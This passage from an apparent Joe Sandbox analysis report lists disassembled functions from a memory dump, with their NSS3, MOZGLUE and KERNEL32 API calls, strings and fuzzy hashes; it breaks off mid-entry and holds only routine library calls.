Instruction ID: 8bafe0263b059e5c922918f8fd3c9db80f808c62e7470e6b08531683309ec20e
Opcode Fuzzy Hash: 426b109306e3caead4fb05ce5699401b65efd8e6e1f4c901e975d8e27b40cab9
Instruction Fuzzy Hash: 47711676D00204ABDB019F24DC449AA7B74FF0A359B29C560EC1CCBB11EB31E994CBE8

Function 6C6B5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2BF0
Part of subcall function 6C6B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C07
Part of subcall function 6C6B2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C1E
Part of subcall function 6C6B2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C4A

free.MOZGLUE(?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D0F
free.MOZGLUE(?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D4E
free.MOZGLUE(?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D62
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D85
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D99
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E47
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5F4B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e2c39e91c28d2ae9d9dbdfcaf2a76877b57918de2b2b5ac64723033fc56fa2dc
Instruction ID: cf9b1ae4791eb5d67b08cb61a5292a6fc55d4b13eb1629a12c526b3a365f566e
Opcode Fuzzy Hash: e2c39e91c28d2ae9d9dbdfcaf2a76877b57918de2b2b5ac64723033fc56fa2dc
Instruction Fuzzy Hash: 90719EB4A00B009FD701CF24D884A92B7F5BF89309F148539E81E97711E731F966CB99

Function 6C638DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C638E22
EnterCriticalSection.KERNEL32(?), ref: 6C638E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C638E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C638E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C638E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C638EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C638EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C638EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F00
free.MOZGLUE(?), ref: 6C638F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C638F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F5B
PR_Unlock.NSS3(?), ref: 6C638F72
PR_Unlock.NSS3(?), ref: 6C638F82

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 70d930334654d2f7ba8456b9ecd3bbfb2adf43a43f5d0e574fea9cc67625bbb7
Instruction ID: 33facaef7561eb2c3cf3e91fa7663e21a3b6a049016f22caab9538ac9cde4d46
Opcode Fuzzy Hash: 70d930334654d2f7ba8456b9ecd3bbfb2adf43a43f5d0e574fea9cc67625bbb7
Instruction Fuzzy Hash: A7513BB2D002259FD7018F68CC489EAB7B9EF49358B15612AEC0CDB750E731ED4587E5

Function 6C65CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C65CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C65CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C65CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C65CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C65CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C65CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C65CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C65CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C65CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C65CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C65CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C65CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C65CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C65D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C65D021

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: f8d20d25007896cc86543a373047009de510c35fdce81cd7189d48ef27d1e9ea
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 7C317671B6291027EF2D145A6D21FDF154A8B6730EF940438F90AE67C0FA859B6702FD

Function 6C730FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C731000

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C731016

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_Unlock.NSS3(?), ref: 6C731021

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C731046
PR_Unlock.NSS3(?), ref: 6C73106B
PR_Lock.NSS3 ref: 6C731079
PR_Unlock.NSS3 ref: 6C731096
free.MOZGLUE(?), ref: 6C7310A7
free.MOZGLUE(?), ref: 6C7310B4
PR_DestroyCondVar.NSS3(?), ref: 6C7310BF
PR_DestroyCondVar.NSS3(?), ref: 6C7310CA
PR_DestroyCondVar.NSS3(?), ref: 6C7310D5
PR_DestroyCondVar.NSS3(?), ref: 6C7310E0
PR_DestroyLock.NSS3(?), ref: 6C7310EB
free.MOZGLUE(?), ref: 6C731105

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: c386843dbbc04251b32777554c15384e4f67faff9e9fc42e19f31c6f8d0c615a
Instruction ID: 87caedbcce4edfb26fccdbfc318df2eae2b74a261916b8256b88e07b0d647835
Opcode Fuzzy Hash: c386843dbbc04251b32777554c15384e4f67faff9e9fc42e19f31c6f8d0c615a
Instruction Fuzzy Hash: B9318AF5E05411ABDB01AF14ED41A85B7B1FF06319B184131E80902F62E732F978DBDA

Function 6C5ADC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5ADD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5ADD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5ADE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5ADEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5ADECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ADF6D, 6C5ADFCC, 6C5ADFDD
database corruption, xrefs: 6C5ADF77, 6C5ADFE7
%s at line %d of [%.10s], xrefs: 6C5ADF7C, 6C5ADFEC

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 8de1b4e17dcee12da135345f7988b486f3e796fd9ca8e62b6169fe30cef892d4
Instruction ID: 86b152c22605dd4f1b1a16cede0d134e9c5b427ae3dcebfc08a2f7bebf5639aa
Opcode Fuzzy Hash: 8de1b4e17dcee12da135345f7988b486f3e796fd9ca8e62b6169fe30cef892d4
Instruction Fuzzy Hash: 76A1C4716042059FC710EF6ACC80A6FB7F5AF85308F15892DEC898BB51E730E956CBA1

Function 6C66EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C66EE0B

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66EEE1

Part of subcall function 6C661D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C661D7E
Part of subcall function 6C661D50: EnterCriticalSection.KERNEL32(?), ref: 6C661D8E
Part of subcall function 6C661D50: PR_Unlock.NSS3(?), ref: 6C661DD3

TlsGetValue.KERNEL32 ref: 6C66EE51
EnterCriticalSection.KERNEL32(?), ref: 6C66EE65
PR_Unlock.NSS3(?), ref: 6C66EEA2
free.MOZGLUE(?), ref: 6C66EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C66EED0
PR_Unlock.NSS3(?), ref: 6C66EF48
free.MOZGLUE(?), ref: 6C66EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C66EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C66EFA4
free.MOZGLUE(?), ref: 6C66EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C66F055
free.MOZGLUE(?), ref: 6C66F060

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c27203de4e95609ad0c79ebed2e08100e6c83c6d1c59fb046127e4d69e8622ad
Instruction ID: 2848b708a7f4aa60f23ed203d7477126bea1f37beb86a613d2e741c4d0d918aa
Opcode Fuzzy Hash: c27203de4e95609ad0c79ebed2e08100e6c83c6d1c59fb046127e4d69e8622ad
Instruction Fuzzy Hash: B9818171A00209ABDF01DF65DC45BDE7BB5FF49318F144024E909A3B11E731E925CBAA

Function 6C634CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C634D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C634D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C634DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C634E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C634E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C634E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C634E85
DER_Encode_Util.NSS3(?,?,6C7805A4,00000000), ref: 6C634EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C634F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C634F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C634F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C634F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C634F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C634FC8

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 47a40beb68c43dfefb49e619f98dc33965b73b8dbfdcfb0cfb39aab9dd1e030c
Instruction ID: 5400c9ff3b65266deae95cf8b6ba6fd5899c988db3adad38f9ef3239dd261c56
Opcode Fuzzy Hash: 47a40beb68c43dfefb49e619f98dc33965b73b8dbfdcfb0cfb39aab9dd1e030c
Instruction Fuzzy Hash: CC81A3719083119FE701CF24DC40B6ABBE4ABC5358F14A92DF95CCB640E772E905CB9A

Function 6C675C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C675C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C675CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C675CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C675D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C675D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C675E18
TlsGetValue.KERNEL32 ref: 6C675E5E
EnterCriticalSection.KERNEL32(?), ref: 6C675E72
PR_Unlock.NSS3(?), ref: 6C675E8B

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C675D3D
d, xrefs: 6C675C36

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 6450105c87a4d909b7b911676d7ae2dd7090f857e64fdabe23ad78ec108dc29d
Instruction ID: 80b5cac8e37edf18582333d6f0f26a8857dcbe238f0347bccdacbfedc995a74b
Opcode Fuzzy Hash: 6450105c87a4d909b7b911676d7ae2dd7090f857e64fdabe23ad78ec108dc29d
Instruction Fuzzy Hash: 847118F0E051019BEB219F25DC4576A3375AF4630DF240879D8199AB42EB32E915C7BE

Function 6C668F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C669582), ref: 6C668F5B

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C668F6A

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C668FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C668FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C74D820,6C669576), ref: 6C668FF9
DER_GetInteger_Util.NSS3(?), ref: 6C66901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C66903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C669062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6690A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6690CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6690F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C66912D
free.MOZGLUE(00000000), ref: 6C669136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C669145

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: d9a76fc0ca60a41a330765528841091c375cb9a261aa9509b29fc1e071d35016
Instruction ID: 46212b2900fdac8123f5bd22567562892e197c79564147a9195d936bcc9dad2d
Opcode Fuzzy Hash: d9a76fc0ca60a41a330765528841091c375cb9a261aa9509b29fc1e071d35016
Instruction Fuzzy Hash: CA51E4B1A042009BEB10CF29DC4179BB7E8AF99358F154929EC54C7B41E731E945CBEB

Function 6C734960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6C738061,?,?,?,?), ref: 6C73497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6C73499E
GetLastError.KERNEL32(?,?,6C738061,?,?,?,?), ref: 6C7349AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6C738061,?,?,?,?), ref: 6C7349C2

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6C738061,?,?,?,?), ref: 6C7349D6
CreateSemaphoreA.KERNEL32(00000000,6C738061,7FFFFFFF,?), ref: 6C734A19
GetLastError.KERNEL32(?,?,?,?,6C738061,?,?,?,?), ref: 6C734A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6C738061,?,?,?,?), ref: 6C734A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6C738061,?,?,?,?), ref: 6C734A52
GetLastError.KERNEL32(?,?,?,?,6C738061,?,?,?,?), ref: 6C734A5A
free.MOZGLUE(00000000,?,?,?,?,?,6C738061,?,?,?,?), ref: 6C734A6A
CreateSemaphoreA.KERNEL32(?,6C738061,7FFFFFFF,?), ref: 6C734A9A
free.MOZGLUE(?,?,?,?,?,6C738061,?,?,?,?), ref: 6C734AAE
free.MOZGLUE(?,?,?,?,?,6C738061,?,?,?,?), ref: 6C734AC2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 85a05d6d43eb45b7518f1435aa327d57eb602d44f8c6ad0f715ebf5cb9f0e7c1
Instruction ID: 2f03a2fab178e971e3f6a65ed457b4eafa87ddd2c04d989266f7f11ca10aabff
Opcode Fuzzy Hash: 85a05d6d43eb45b7518f1435aa327d57eb602d44f8c6ad0f715ebf5cb9f0e7c1
Instruction Fuzzy Hash: 2A41D770B04229AFDF00AFA89D49B5A7BF4BB4A356F100134F91DA7742DB3699048B75

Function 6C65ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C65ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AE29

